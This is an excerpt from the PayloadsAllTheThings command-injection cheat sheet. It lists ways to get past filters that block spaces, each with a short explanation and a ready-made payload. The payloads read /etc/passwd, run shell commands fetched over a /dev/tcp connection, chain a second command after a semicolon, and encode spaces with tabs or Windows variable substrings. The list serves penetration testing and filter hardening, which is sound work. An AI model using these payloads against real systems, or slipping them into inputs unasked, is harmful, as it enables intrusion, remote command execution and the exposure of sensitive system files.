* `$IFS` is a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret `$IFS` as a space. `$IFS` does not directly work as a separator in commands like `ls`, `wget`; use `${IFS}` instead.
cat${IFS}/etc/passwd
ls${IFS}-la* In some shells, brace expansion generates arbitrary strings. When executed, the shell will treat the items inside the braces as separate commands or arguments.
{cat,/etc/passwd}* Input redirection. The < character tells the shell to read the contents of the file specified.
cat</etc/passwd
sh</dev/tcp/127.0.0.1/4242* ANSI-C Quoting
X=$'uname\x20-a'&&$X* The tab character can sometimes be used as an alternative to spaces. In ASCII, the tab character is represented by the hexadecimal value `09`.
;ls%09-al%09/home* In Windows, `%VARIABLE:~start,length%` is a syntax used for substring operations on environment variables.
ping%CommonProgramFiles:~10,-18%127.0.0.1
ping%PROGRAMFILES:~10,-5%127.0.0.1Source: Command Injection/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.